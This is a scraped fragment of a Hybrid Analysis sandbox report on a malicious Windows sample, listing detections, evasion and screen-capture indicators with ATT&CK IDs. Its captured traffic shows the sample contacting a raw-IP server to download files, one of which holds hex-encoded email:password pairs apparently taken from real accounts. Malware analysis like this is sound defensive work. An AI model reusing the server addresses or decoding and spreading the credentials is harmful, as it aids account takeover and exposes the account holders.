34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 4b:I[27201,["$1","$2","$3","$4","$5"],"IconMark"] 33:T4cb,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Mint.Zard.Generic Sample 34e11dc3d0a4… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 34e11dc3d0a4…. Malware family: Mint.Zard.Generic. Threat score 100/100. 14/28 AV engines flagged this file. 5 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/34e11dc3d0a4d95e8e7bc520b140f7028f44788b0be359cddf435fa0582365f1","keywords":["Malicious","Mint.Zard.Generic","malware analysis","sandbox report","threat intelligence","34e11dc3d0a4d95e8e7bc520b140f7028f44788b0be359cddf435fa0582365f1"],"about":{"@type":"SoftwareApplication","name":"34e11dc3d0a4d95e8e7bc520b140f7028f44788b0be359cddf435fa0582365f1.bin","applicationCategory":["peexe","executable"],"identifier":"34e11dc3d0a4d95e8e7bc520b140f7028f44788b0be359cddf435fa0582365f1","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Mint.Zard.Generic","antivirusDetections":{"malicious":14,"total":28},"behavioralIndicators":{"malicious":5,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:T832," HTTP/1.1 200 OK Date: Thu 02 Apr 2026 17:33:19 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=YHhN0f9i8TmyYgVzTRIO2Q9Mc2WPhOx56Ki526mRZFc-1775151199.4600306-1.0.1.1-LoT0GEwYJR23iCn6qGOqBfTBzLHwvIe1bjpn1QGtyruwGeiY.XGs.Cgmkkae0XVoU3DbJECF5qYla8FzXFEE1kDDDkUlzyNcsYsVBSHJo8qhFDfRh2VtCbNn2QI5pD1o; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Thu 02 Apr 2026 18:03:19 GMT Server: cloudflare CF-RAY: 9e6193f49b037b82-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /okk/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 158.94.211.162" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 02 Apr 2026 17:33:20 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Thu 02 Apr 2026 17:32:14 GMT Connection: keep-alive ETag: "69cea81e-6" Accept-Ranges: bytes with response body ==>34363832300A....... "GET /okk/4059.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 158.94.211.162" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 02 Apr 2026 17:33:20 GMT Content-Type: text/plain Content-Length: 258505 Last-Modified: Fri 27 Mar 2026 08:36:51 GMT Connection: keep-alive ETag: "69c641a3-3f1c9" Accept-Ranges: bytes with response body ==>61686F6F2E636F6D3A4C656674793467756E73400A7068796C6C6973353233406D797761792E636F6D3A313938387878320A6A616D656C696177407961686F6F.......3c:T725,"" (Indicator: "GetDC"; Source: "00000000-00006244.00000000.144659.02980000.00000004.mdmp, 00000000-00006244.00000001.146581.02980000.00000004.mdmp, 00000000-00006244.00000002.148501.02980000.00000004.mdmp, 00000000-00006244.00000003.154003.02980000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00006244.00000000.144659.02980000.00000004.mdmp, 00000000-00006244.00000001.146581.02980000.00000004.mdmp, 00000000-00006244.00000002.148501.02980000.00000004.mdmp, 00000000-00006244.00000003.154003.02980000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00006244.00000000.144659.02980000.00000004.mdmp, 00000000-00006244.00000001.146581.02980000.00000004.mdmp, 00000000-00006244.00000002.148501.02980000.00000004.mdmp, 00000000-00006244.00000003.154003.02980000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00006244.00000000.144659.02980000.00000004.mdmp, 00000000-00006244.00000001.146581.02980000.00000004.mdmp, 00000000-00006244.00000002.148501.02980000.00000004.mdmp, 00000000-00006244.00000003.154003.02980000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00006244.00000000.144659.02980000.00000004.mdmp, 00000000-00006244.00000001.146581.02980000.00000004.mdmp, 00000000-00006244.00000002.148501.02980000.00000004.mdmp, 00000000-00006244.00000003.154003.02980000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00006244.00000000.144659.02980000.00000004.mdmp, 00000000-00006244.00000001.146581.02980000.00000004.mdmp, 00000000-00006244.00000002.148501.02980000.00000004.mdmp, 00000000-00006244.00000003.154003.02980000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00006244.00000000.144659.02980000.00000004.mdmp, 00000000-00006244.00000001.146581.02980000.00000004.mdmp, 00000000-00006244.00000002.148501.02980000.00000004.mdmp, 00000000-00006244.00000003.154003.02980000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00006244.00000000.144659.02980000.00000004.mdmp, 00000000-00006244.00000001.146581.02980000.00000004.mdmp, 00000000-00006244.00000002.148501.02980000.00000004.mdmp, 00000000-00006244.00000003.154003.02980000.00000004.mdmp")47:Ta00,"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00006244.00000000.144659.02980000.00000004.mdmp, 00000000-00006244.00000001.146581.02980000.00000004.mdmp, 00000000-00006244.00000002.148501.02980000.00000004.mdmp, 00000000-00006244.00000003.154003.02980000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"69cea842856768df650a3a2e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$36","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69cea842856768df650a3a2e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00006244.00000000.144659.02980000.00000004.mdmp, 00000000-00006244.00000001.146581.02980000.00000004.mdmp, 00000000-00006244.00000002.148501.02980000.00000004.mdmp, 00000000-00006244.00000003.154003.02980000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69cea842856768df650a3a2e"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\" Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"69cea842856768df650a3a2e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"